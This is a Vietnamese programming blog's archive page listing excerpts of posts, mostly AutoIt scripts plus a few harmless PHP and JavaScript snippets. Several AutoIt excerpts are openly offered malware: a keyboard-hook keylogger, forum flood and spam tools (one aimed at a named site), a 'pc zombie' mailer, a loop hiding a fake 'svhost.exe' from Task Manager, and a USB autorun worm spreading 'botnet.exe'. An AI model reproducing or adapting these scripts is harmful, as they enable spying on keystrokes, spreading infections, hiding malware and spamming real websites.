Archive for the ‘ Lập trình ’ Category

AutoIt – Kiểm tra người dùng viết gì.

  • Tháng Năm 7th, 2009
  • Posted in AutoIT

Global Const $WH_KEYBOARD_LL = 13 Global $hHook Global $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam") Global $hmod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0) Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", _ $WH_KEYBOARD_LL, "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hmod[0], "dword", 0) Global $buffer = "" MsgBox(4096, "", "Nhap chuot vao OK sau do mo Notepad va viet......." & _ @LF & @LF & "Jon" & @LF [ READ MORE ]

[AutoIt] Source tool Flood có GUI

#Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_Version=beta #AutoIt3Wrapper_icon=..\..\Desktop\thingsNSP\Babvil.ico #AutoIt3Wrapper_outfile=..\..\Desktop\T2 Flood\T2 Flood.exe #AutoIt3Wrapper_Res_Comment=Flood Shoutbox, bai viet, vv #AutoIt3Wrapper_Res_Description=T2 Flood Beta #AutoIt3Wrapper_Res_Fileversion=0.0.0.0 #AutoIt3Wrapper_Res_LegalCopyright=Copyright 2009 by thuongtin@gmail.com #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <StaticConstants.au3> #include <WindowsConstants.au3> #include <GuiEdit.au3> Global $coki $Form1_1 = GUICreate("o0o T2 Flood Beta o0o", 627, 555, 192, 124, BitOR($WS_MINIMIZEBOX,$WS_SYSMENU,$WS_POPUP,$WS_GROUP,$WS_CLIPSIBLINGS)) GUISetBkColor(0x000000) $T2 = GUICtrlCreateGroup(" o0o T2 Flood Beta o0o ", 24, 96, 577, 113, $BS_CENTER) GUICtrlSetFont(-1, [ READ MORE ]

[AutoIt] Viết phần mềm spam web

Buồn buồn ngồi viết cái code spam shoutbox trang web http://vudai.root.vn của anh Lê Kim Phi. Code còn rườm rà, làm biếng viết lại. #cs Code: Spam Author: thuongtin@gmail.com Website: http://thuongtin.net Soft: AutoIt v3 #ce Global $coki = "" $oMyError = ObjEvent("AutoIt.Error","MyErrFunc") ; Install a bespoken nonachievement handler Func Postbai($_url, $_noidung) $oHttpRequest = ObjCreate("WinHttp.WinHttpRequest.5.1") $oHttpRequest.Open ("POST", $_url,True) $oHttpRequest.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded") ; Need to modify as per your webpage $oHttpRequest.setRequestHeader [ READ MORE ]

[AutoIt] Send mail

  • Tháng Tư 23rd, 2009
  • Posted in AutoIT

;################################## ; Include ;################################## #Include<file.au3> #Include<array.au3> #include <ScreenCapture.au3> ;################################## ; Variables ;################################## Dim $array $s_SmtpServer = "smtp.gmail.com"                             ; address for the smtp-server to use - REQUIREDhoangtuviolet_1987 $s_FromName = "pc zombie"                           ; name from who the email was sent $s_FromAddress = "bongma@gmail.com"    [ READ MORE ]

[Auto It] hide process

  • Tháng Tư 23rd, 2009
  • Posted in AutoIT

Dim $ProcName = "svhost.exe",$TaskManTitle = "Windows Task Manager" while 1 $FindIndex = ControlListView($TaskManTitle, "", 1009, "FindItem", $ProcName) If $FindIndex = -1 Then Else $hwnd = ControlGetHandle($TaskManTitle, "", 1009) DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 0x1008, "int", $FindIndex, "int", 0) EndIf wend loadt2player(404)[ READ MORE ]

[AutoIt] Autorun và lây lan

  • Tháng Tư 23rd, 2009
  • Posted in AutoIT

Dim $autorun = "[autorun]" & @CRLF & "open=botnet.exe" fileDelete("C:\Autorun.inf") filewrite("C:\Autorun.inf",$autorun) while 1 $var = DriveGetDrive( "REMOVABLE" ) If NOT @error Then FileCopy(@ScriptFullPath,$var[0]) FileCopy("C:\Autorun.inf",$var[0]) For $i = 1 to $var[0] FileCopy("C:\Autorun.inf",$var[$i]) FileCopy(@ScriptFullPath,$var[$i]) Next EndIf if not fileexists("C:\Autorun.inf") Then filewrite("C:\Autorun.inf",$autorun) endif wend loadt2player(402)[ READ MORE ]

Lấy URL hiện tại của iFrame

  • Tháng Mười Hai 7th, 2008
  • Posted in Javascript

Sử dụng: window.name_frame.location <script> function getUrl(){ alert(window._Frame.location); } </script> <iframe name="_Frame" src="http://thuongtin.net"></iframe> <a href="http://google.com" target="_Frame">Google.com</a> <a href="javascript:getUrl()">Get URL</a> loadt2player(360)[ READ MORE ]

Chuyển đổi các múi giờ

  • Tháng Mười Một 18th, 2008
  • Posted in PHP

Converting Between Different Time Zones <?php // function to get time // for another time zone // given a specific timestamp and hour offset from GMT function getLocalTime($ts, $offset) { // performs conversion // returns UNIX timestamp return ($ts - date("Z", $ts)) + (3600 * $offset); } // get current local time in Singapore // result: "00:11:26 31-10-06 SST" echo date("H:i:s d-m-y", getLocalTime(mktime(), 8)) . " SST [ READ MORE ]

Chuyển đổi phút sang giờ và ngược lại

  • Tháng Mười Một 18th, 2008
  • Posted in PHP

Converting Minutes to Hours Phút qua giờ: <?php // define number of minutes $mm = 156; // convert to hh:mm format // result: "02h 36m" echo sprintf("%02dh %02dm", floor($mm/60), $mm%60); ?> Ngược lại: <?php // define hours and minutes $hhmm = "02:36"; // convert to minutes // result: "156 minutes" $arr = explode(":", $hhmm); echo $arr[0]*60 + $arr[1] . " minutes"; ?> loadt2player(340)[ READ MORE ]

So sánh 2 ngày

  • Tháng Mười Một 18th, 2008
  • Posted in PHP

Comparing Dates <?php // create timestamps for two dates $date1 = mktime(0,0,0,2,1,2007); $date2 = mktime(1,0,0,2,1,2007); // compare timestamps // to see which represents an earlier date if ($date1 > $date2) { $str = date ("d-M-Y H:i:s", $date2) . " comes before " .? date ("d-M-Y H:i:s", $date1); } else if ($date2 > $date1) { $str = date ("d-M-Y H:i:s", $date1) . " comes before " .? date [ READ MORE ]

Bad Behavior has blocked 47 access attempts in the last 7 days.